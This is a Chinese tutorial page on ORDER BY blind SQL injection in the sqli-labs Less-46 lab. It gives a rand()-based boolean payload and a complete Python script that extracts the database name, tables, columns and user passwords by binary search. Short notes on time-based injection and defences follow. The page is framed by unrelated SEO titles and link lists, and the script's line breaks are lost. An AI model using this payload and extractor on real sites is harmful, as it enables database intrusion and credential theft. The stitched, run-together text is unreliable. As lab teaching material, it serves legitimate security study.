当前位置: 首页 > news >正文

二手交易平台的网站怎么做阿里云wordpress数据库

二手交易平台的网站怎么做,阿里云wordpress数据库,增城有什么网站做招聘的,建设网站多钱目录 一.order by盲注的原理 二.注入方式 a.布尔盲注 b.时间盲注 三.防御 一.order by盲注的原理 order by子句是用于按指定列排序查询结果,列名或列序号皆可。 order by 后面接的字段或者数字不一样,那么这个数据表的排序就会不同。 order by 盲…

目录

一.order by盲注的原理

二.注入方式

a.布尔盲注

b.时间盲注

三.防御


一.order by盲注的原理

order by子句是用于按指定列排序查询结果,列名或列序号皆可。

order by 后面接的字段或者数字不一样,那么这个数据表的排序就会不同。

order by 盲注利用的就是这一点。

二.注入方式

环境为sqli-labs的46关,参数为sort传入id

      a.布尔盲注

        传入1时

        传入2时

        传入3时

不同字段的顺序是不同的,根据这个结果,我们可以用rand()实现盲注

?sort=rand(ascii(substr((select database()),1,1))>114)

转为ASCII码来比较真假,为真时第一列为admin3,为假时第一列为Dumb

下面是脚本内容

import time
import requests
from bs4 import BeautifulSoupdef inject_database(url): #库dataname = ''for i in range(1, 20):low = 32high = 128mid = (low + high) // 2while low < high:payload = "rand(ascii(substr((select database()),%d,1))>%d) " % (i, mid)res = {"sort": payload}r = requests.get(url, params=res)html = r.textsoup = BeautifulSoup(html,'html.parser')getusername = soup.find_all('td')[1].textif getusername == 'admin3':low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breakdataname += chr(mid)return datanamedef inject_tables(url, database_name):#表tables = []for i in range(0, 10): table_name = ''for j in range(1, 20):low = 32high = 128mid = (low + high) // 2while low < high:payload = "rand(ascii(substr((select table_name from information_schema.tables where table_schema='%s' limit %d,1),%d,1)) > %d) " % (database_name, i, j, mid)res = {"sort": payload}r = requests.get(url, params=res)html = r.textsoup = BeautifulSoup(html,'html.parser')getusername = soup.find_all('td')[1].textif getusername == 'admin3':low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breaktable_name += chr(mid)if table_name:tables.append(table_name)print(f"Table {i+1}: {table_name}")return tablesdef inject_columns(url, database_name, table_name):#列columns = []for i in range(0, 10): column_name = ''for j in range(1, 20):low = 32high = 128mid = (low + high) // 2while low < high:payload = "rand(ascii(substr((select column_name from information_schema.columns where table_schema='%s' and table_name='%s' limit %d,1),%d,1)) > %d) " % (database_name, table_name, i, j, mid)res = {"sort": payload}r = requests.get(url, params=res)html = r.textsoup = BeautifulSoup(html,'html.parser')getusername = soup.find_all('td')[1].textif getusername == 'admin3':low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breakcolumn_name += chr(mid)if column_name:columns.append(column_name)print(f"Column {i+1}: {column_name}")return columnsdef inject_data(url, database_name, table_name, column_name):#数据data = []for i in range(0, 10): row_data = ''for j in range(1, 20):low = 32high = 128mid = (low + high) // 2while low < high:payload = "rand(ascii(substr((select %s from %s.%s limit %d,1),%d,1)) > %d) " % (column_name, database_name, table_name, i, j, mid)res = {"sort": payload}r = requests.get(url, params=res)html = r.textsoup = BeautifulSoup(html,'html.parser')getusername = soup.find_all('td')[1].textif getusername == 'admin3':low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breakrow_data += chr(mid)if row_data:data.append(row_data)print(f"Row {i+1}: {row_data}")return dataif __name__ == '__main__':url = 'http://127.0.0.1/sqli/Less-46/'database_name = inject_database(url)print(f"Database Name: {database_name}")tables = inject_tables(url, database_name)print(f"Tables: {tables}")if tables:columns = inject_columns(url, database_name, tables[3])print(f"Columns: {columns}")if columns:username = inject_data(url, database_name, tables[3], columns[1])password = inject_data(url, database_name, tables[3], columns[2])print(f"Data: {username}")print(f"Data: {password}")

b.时间盲注

        时间盲注不依赖页面内容,直接通过响应时间判断条件,因此无需解析html

三.防御

1.预编译,如PHP的PDO

2.最小权限原则,限制数据库用户权限,仅允许执行必要的操作。

3.输入长度限制

4.部署WAF

http://www.yayakq.cn/news/269307/

相关文章:

  • 帮别人做设计图的网站wordpress手机端和pc端兼容
  • 公司设计一个网站自建站 外贸
  • 网站黑链三维动画设计
  • 阿里云怎么放多个网站重庆特种作业证件查询
  • 站长工具综合查询站长工具wordpress文章列表不显示
  • 大连网站制作咨询做的比较好的返利网站知乎
  • 湖南建设银行网站是多少钱wordpress 下载
  • 上海网站域名注册外链百科
  • 沧州网站建设费用北京大兴网站制作推广
  • 推广普通话手抄报模板西安优化排名推广
  • 网站logo是指中关村在线手机对比平台
  • 引用网站信息怎么做备注做网站头视频
  • 高端定制网站是什么顺德家居企业网站建设
  • 创新的邯郸网站建设自媒体网站大全
  • 射阳建设网站wordpress4.8发布
  • wordpress主题免费中文版江苏优化网站公司
  • 网站建设论文的前言淮北市矿业工程建设公司网站
  • 图书信息管理系统代码网站建设记事本做网站背景色怎么弄
  • 潍坊高端网站设计手机百度怎么解除禁止访问网站
  • 昆明网站如何制作淘宝wordpress模板
  • 网页版qq登录入口账号密码优化网络培训
  • 软件下载网站如何履行安全无水印视频素材下载网站
  • 视频播放网站怎么做福田祥菱
  • 网站用动态图片做背景怎么写如何查到别人的网站做哪些竞价词
  • 南昌网站设计专业排名wordpress post_type
  • 网站建设高手要学多久wordpress 微信二维码登录
  • 企业网站建设绪论网络架构师证书
  • qq网站官网dw做网站实例
  • 网站图片优化网站开发要多少钱
  • wordpress 托管seo常见优化技术